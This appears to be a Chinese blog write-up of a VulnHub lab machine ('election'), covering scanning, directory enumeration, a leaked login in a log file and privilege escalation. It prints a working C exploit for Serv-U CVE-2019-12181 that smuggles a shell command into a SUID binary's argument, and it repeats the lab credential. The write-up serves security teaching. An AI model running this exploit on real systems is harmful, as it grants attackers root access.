简介
vulnhub最新的靶机之一election,虽然作者标的难度为medium(OSCP-like),但整个渗透下来其实比较简单的(2小时),可能难度就是寻找提权的点吧。

信息收集
root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132

发现apache版本比较旧了,查看有没有相关的漏洞。
root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132 -p 80 --script=vuln
root@kali:~/ctf/election# nmap -sC -sV 192.168.18.132 -p 80 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-08 16:51 CST
Nmap scan report for 192.168.18.132
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /robots.txt: Robots file
| /phpinfo.php: Possible information file
|_ /phpmyadmin/: phpMyAdmin
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.29:
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2019-10081 5.0 https://vulners.com/cve/CVE-2019-10081
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199
| CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333
| CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
| CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
| CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763
|_ CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
MAC Address: 00:0C:29:4C:40:FB (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.22 seconds
发现了几个CVE,记录下来后面再试试。
通过robots.txt找到/election目录,然后扫目录。
root@kali:~/ctf/election# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.18.132/election/ -r
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.18.132/election/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Follow Redir: true
[+] Timeout: 10s
===============================================================
2020/07/08 17:00:14 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 200)
/data (Status: 200)
/index.php (Status: 200)
/js (Status: 200)
/languages (Status: 200)
/lib (Status: 200)
/media (Status: 200)
/themes (Status: 200)
===============================================================
2020/07/08 17:00:14 Finished
===============================================================
查看/admin目录

看到这页面果断盲猜SQL注入,但是经过测试并不存在注入漏洞。继续扫目录。
root@kali:~/ctf/election# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.18.132/election/admin/ -r
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.18.132/election/admin/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Follow Redir: true
[+] Timeout: 10s
===============================================================
2020/07/08 17:03:14 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/ajax (Status: 200)
/components (Status: 200)
/css (Status: 200)
/img (Status: 200)
/index.php (Status: 200)
/inc (Status: 200)
/js (Status: 200)
/logs (Status: 200)
/plugins (Status: 200)
===============================================================
2020/07/08 17:03:15 Finished
===============================================================
翻了翻扫到的几个目录,最后在/logs发现了线索。

下载后发现日志里面有用户名和密码,love:P@$$w0rd@123

寻找提权点
Is that CVE-2019-0211?
通过SSH登录后,第一时间想到之前nmap扫出了几个apache的CVE漏洞。其中CVE-2019-0211就是提权的。通过searchsploit apache2ctl找到了exp。
root@kali:~/tools/LinEnum# searchsploit apache2ctl
------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------ ---------------------------------
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local | linux/local/46676.php
------------------------------------------------------------------ --------------------
searchsploit -m 46676 将其下载下来。
使用方法:
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
看了下说明,需要将exp仍在/var/www/html里,不确定love用户有没有这个权限,id看下
love@election:~$ id
uid=1000(love) gid=1000(love) groups=1000(love),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare)
有www-data权限。
不过这还不够,使用说明中还要等待logrotate去重启apache服务,等是不可能等的,那么存不存在手动重启的可能?
很显然是自己考虑太多,因为上传到web根目录后访问是这样的:

那么说明这个是作者故意放了一个兔子洞。此路线放弃。
Try again
在此之前,已经在靶机上运行了LinEum.sh来收集信息。当然重点还是关注的SUID部分。
其中有一个没见过的,盲猜Serv-U可能有自带的执行shell的参数。
-rwsr-xr-x 1 root root 6319088 Nov 29 2017 /usr/local/Serv-U/Serv-U
百度Serv-U发现这是一个FTP服务器,但是端口查看并没有21端口。而且关于Serv-U的帖子大多年代久远,很难找到近5年的了。想了解下Serv-U命令有哪些参数也找不到,有也只是windows的。

不过话说回来43958端口是干什么的,百度看看,发现了一篇年代久远的百度知道回答。


2010年的帖子了,到现在不知道还能不能用,先在exploit-db找找看有没有现成的exp吧。
最后找到了Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)
CVE编号为CVE-2019-12181。
exp:
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main()
{
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d\n", ret_val, errno);
return errno;
}
看了下造成漏洞的原因应该是参数过滤不严导致可以执行任意命令,又加上有SUID权限,可以使攻击者直接提升为root权限。
gcc编译,运行

总结
1.整个流程比较简单,没有太奇怪的点,唯一就是Serv-U确实年代久远一直没听过。
2.找提权点这里是通过找SUID发现的Serv-U,最好的方式应该是netstat -anpt查看开放的端口再来寻找突破口。
本文详细记录了对vulnhub平台上的选举靶机进行渗透测试的过程,包括信息收集、利用CVE-2019-0211尝试提权、最终通过Serv-U FTP服务器的CVE-2019-12181成功获取root权限。

955

被折叠的 条评论
为什么被折叠?



